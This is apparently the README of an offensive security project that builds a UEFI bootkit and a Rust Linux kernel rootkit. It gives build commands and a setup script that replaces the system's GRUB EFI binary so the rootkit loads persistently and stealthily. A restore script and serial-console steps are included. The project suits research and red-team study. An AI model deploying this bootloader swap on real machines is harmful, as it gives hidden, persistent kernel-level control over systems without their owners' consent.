idov31/silversealLinux post-exploitation framework with a UEFI bootkit that persistently and stealthily loads a Rust-based kernel module rootkit on modern Linux systems.
Silverseal is a Linux post exploitation framework that demonstrates the ability of a UEFI bootkit to persistently and stealthily load a Rust-based kernel module rootkit on modern Linux systems. The project includes:
Installs the packages needed for Rust-for-Linux external module builds, installs rustup if needed, switches the default toolchain to stable, adds rust-src, installs bindgen-cli, and warns if the currently running kernel does not expose CONFIG_RUST=y.
./scripts/install_dependencies.sh
[!IMPORTANT]
If you're using WSL, make sure to set up WSL 2 and install Ubuntu. This script builds a custom Rust-enabled WSL2 kernel, prepares a modules VHDX, and can optionally write a Windows .wslconfig entry that points WSL at the generated kernel.
./scripts/wsl_setup.sh
The script automatically installs the Ubuntu build dependencies, clones the matching Microsoft WSL2 kernel source, enables CONFIG_RUST, builds the kernel with LLVM, and wires /lib/modules/<release>/build for external module builds.
To see the supported options:
./scripts/wsl_setup.sh --help
To build the rootkit against your wanted target kernel, you need to run the following script on your build machine (either WSL or a native Linux machine):
./scripts/ubuntu_target_setup.sh <uname -r of your target kernel>
This flow installs the matching linux-headers-<kernel> and linux-lib-rust-<kernel> packages, installs the Ubuntu-packaged Rust 1.82 toolchain used by the generic-kernel flow, repairs /usr/src/linux-headers-<kernel>/rust if that symlink is broken, and prints the exact make command to use afterward.
Build the rootkit with the kernel build system. Do not use Cargo for the real module build.
cd Silverseal/silverseal-rootkit
make
The module artifacts are staged into silverseal-rootkit/target/ after the build.
Build the rootkit for an Ubuntu generic target kernel from WSL:
cd Silverseal/silverseal-rootkit
make clean
PATH=/usr/bin:/bin:$PATH \
RUST_LIB_SRC=/usr/src/rustc-1.82.0/library \
make RUST_MIN_TOOLCHAIN= \
KDIR=/usr/src/linux-headers-6.17.0-20-generic \
CC=x86_64-linux-gnu-gcc-13 \
RUSTC=rustc-1.82 \
RUSTDOC=rustdoc-1.82
The module Makefile auto-detects /usr/src/linux-headers-* targets and passes the Rust compatibility cfg through Kbuild's Rust flag variables so the newer Ubuntu module! metadata schema uses authors instead of the older author key.
After the build, verify the target kernel version was embedded correctly:
modinfo target/silverseal_rootkit.ko | grep vermagic
The bootkit build requires nasm on PATH. The crate is already configured to target x86_64-unknown-uefi, and the build script assembles both asm/x64/lkm_loader.asm and asm/x64/lkm_stager.asm into flat binary blobs embedded into the EFI image.
cd Silverseal/silverseal-bootkit
cargo build --release
The resulting EFI binary is written to:
Silverseal/target/x86_64-unknown-uefi/release/silverseal-bootkit.efi
The deployment script currently expects a file named silverseal-bootkit.efi in the repository root. After building the bootkit, copy the EFI artifact there and then run the setup script from the repository root.
cd Silverseal
cp target/x86_64-unknown-uefi/release/silverseal-bootkit.efi ./silverseal-bootkit.efi
sudo ./scripts/setup_silverseal.sh
The script performs a direct swap on the EFI partition:
/boot/efi/EFI/ubuntu/grubx64.efi to /boot/efi/EFI/ubuntu/grubx64.efi.original./silverseal-bootkit.efi into place as /boot/efi/EFI/ubuntu/grubx64.efiTo remove Silverseal, restore the original GRUB binary from the .original backup:
cd Silverseal
sudo ./scripts/restore_silverseal.sh
ls -la /dev/ttyS*
Common ports: /dev/ttyS0 (COM1), /dev/ttyS1 (COM2)
minicom:sudo minicom -D /dev/ttyS0 -b 115200
# Or with `screen`:
sudo screen /dev/ttyS0 115200
# Or with `picocom`:
sudo picocom -b 115200 /dev/ttyS0
\\.\pipe\com_1)You can also use the helper script, which continuously reconnects PuTTY to \\.\pipe\com_1 at 115200 baud:
powershell -ExecutionPolicy Bypass -File .\scripts\connect-vm.ps1